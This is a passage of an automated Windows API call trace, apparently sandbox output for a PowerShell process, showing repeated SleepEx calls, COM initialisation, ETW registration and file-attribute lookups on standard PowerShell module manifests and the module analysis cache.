returned 0x0 [0120.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.891] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0120.946] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.024] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.074] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.191] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.342] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.677] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.757] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.979] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.509] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.516] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.671] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.696] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.779] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.825] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.935] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.012] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.060] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.108] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.154] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.202] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.294] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.356] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.381] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.561] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.573] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.634] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x74df568 | out: UnbiasedTime=0x74df568) returned 1 [0126.635] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0x20 [0126.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0126.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0126.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x74df188) returned 1 [0126.635] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x53b9318 | out: lpFileInformation=0x53b9318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc924418, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdc924418, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xa6871230, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0xbdca)) returned 1 [0126.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x74df184) returned 1 [0126.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0126.635] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x4f, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x4e [0126.635] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x74df12c) returned 1 [0126.635] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x9f8 [0126.636] GetFileType (hFile=0x9f8) returned 0x1 [0126.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x74df128) returned 1 [0126.638] GetFileType (hFile=0x9f8) returned 0x1 Thread: id = 68 os_tid = 0xf2c Thread: id = 69 os_tid = 0xf30 [0078.329] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0078.329] CoGetContextToken (in: pToken=0x786f6cc | out: pToken=0x786f6cc) returned 0x0 [0078.329] CObjectContext::QueryInterface () returned 0x0 [0078.329] CObjectContext::GetCurrentThreadType () returned 0x0 [0078.329] Release () returned 0x0 [0078.329] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0078.329] CoUninitialize () [0078.329] RoInitialize () returned 0x1 [0078.329] RoUninitialize () returned 0x0 Thread: id = 70 os_tid = 0xfb8 [0078.359] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0078.363] RoInitialize () returned 0x1 [0078.363] RoUninitialize () returned 0x0 [0078.375] GetCurrentProcessId () returned 0x190 [0078.377] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x78ef3fc, RelatedActivityId=0x78ef3ac, UserDataCount=0x0, UserData=0x8) returned 0x0 [0078.377] EtwEventWriteTransfer (RegHandle=0x3228ae8, EventDescriptor=0x68, ActivityId=0x78ef428, RelatedActivityId=0x78ef3d8, UserDataCount=0x0, UserData=0x2) returned 0x0 [0078.378] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x4f0 [0078.381] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_Disabled", lpBuffer=0x78eeb5c, nSize=0x80 | out: lpBuffer="က熝\x01") returned 0x0 [0078.381] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Threading.OverlappedData_MinCount", lpBuffer=0x78eeb5c, nSize=0x80 | out: lpBuffer="က熝\x01") returned 0x0 [0078.382] EtwEventRegister (in: ProviderId=0x5040680, EnableCallback=0x7152cb6, CallbackContext=0x0, RegHandle=0x504065c | out: RegHandle=0x504065c) returned 0x0 [0078.382] EtwEventSetInformation (RegHandle=0x7448310, InformationClass=0x70, EventInformation=0x2, InformationLength=0x5040624) returned 0x0 [0078.384] ConnectNamedPipe (in: hNamedPipe=0x720, lpOverlapped=0x5040868 | out: lpOverlapped=0x5040868) returned 0 Thread: id = 71 os_tid = 0xaa0 Thread: id = 72 os_tid = 0x1138 [0081.312] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0081.312] CoGetContextToken (in: pToken=0x7a6f554 | out: pToken=0x7a6f554) returned 0x0 [0081.312] CObjectContext::QueryInterface () returned 0x0 [0081.312] CObjectContext::GetCurrentThreadType () returned 0x0 [0081.312] Release () returned 0x0 [0081.312] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0081.312] CoUninitialize () [0081.312] RoInitialize () returned 0x1 [0081.312] RoUninitialize () returned 0x0 [0081.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.354] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.387] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.405] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.415] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.454] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.505] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.512] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.523] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.612] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.718] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.912] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0081.968] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.019] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.081] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.110] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.281] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.319] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.354] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.379] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.388] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.406] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.428] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.450] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.466] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.473] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.542] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.550] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.597] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.639] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0082.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.320] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.362] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.402] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.410] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.463] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.629] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.800] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.913] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0085.988] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.163] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.316] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.398] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.496] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.581] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0086.972] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.018] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.066] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.112] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.212] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.258] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.300] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.347] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.394] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.440] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.586] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.628] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.676] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.722] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0087.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.118] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.180] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.295] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.343] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.389] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.437] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.530] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.577] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.624] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.670] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.718] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0088.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.204] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.295] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.353] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.404] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.441] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.495] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0089.628] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0094.946] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0094.946] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice\\PnpDevice.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice\\pnpdevice.psd1")) returned 0x20 [0094.951] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient\\VpnClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient\\vpnclient.psd1")) returned 0x20 [0094.955] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0094.955] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0094.958] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1")) returned 0x20 [0094.960] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0094.961] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0094.965] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP\\NetTCPIP.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip\\nettcpip.psd1")) returned 0x20 [0094.970] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0094.972] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1")) returned 0x20 [0094.972] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1")) returned 0x20 [0094.976] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0094.978] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage\\Storage.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage\\storage.psd1")) returned 0x20 [0094.980] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0094.982] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter\\NetAdapter.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter\\netadapter.psd1")) returned 0x20 [0094.989] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\DirectAccessClientComponents.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents\\directaccessclientcomponents.psd1")) returned 0x20 [0094.994] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate\\WindowsUpdate.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate\\windowsupdate.psd1")) returned 0x20 [0094.997] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition\\NetworkTransition.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition\\networktransition.psd1")) returned 0x20 [0095.043] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0095.043] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks\\ScheduledTasks.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks\\scheduledtasks.psd1")) returned 0x20 [0095.046] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection\\NetConnection.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection\\netconnection.psd1")) returned 0x20 [0095.047] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI\\iSCSI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi\\iscsi.psd1")) returned 0x20 [0095.048] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus\\NetworkConnectivityStatus.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus\\networkconnectivitystatus.psd1")) returned 0x20 [0095.049] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0095.051] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam\\NetSwitchTeam.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam\\netswitchteam.psd1")) returned 0x20 [0095.052] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0095.052] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0095.052] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo\\NetLbfo.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo\\netlbfo.psd1")) returned 0x20 [0095.053] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1")) returned 0x20 [0095.054] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0095.054] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0095.055] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0095.055] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0x20 [0095.056] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0095.056] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule\\TrustedPlatformModule.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule\\trustedplatformmodule.psd1")) returned 0x20 [0095.056] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0095.056] GetFileAttributesW 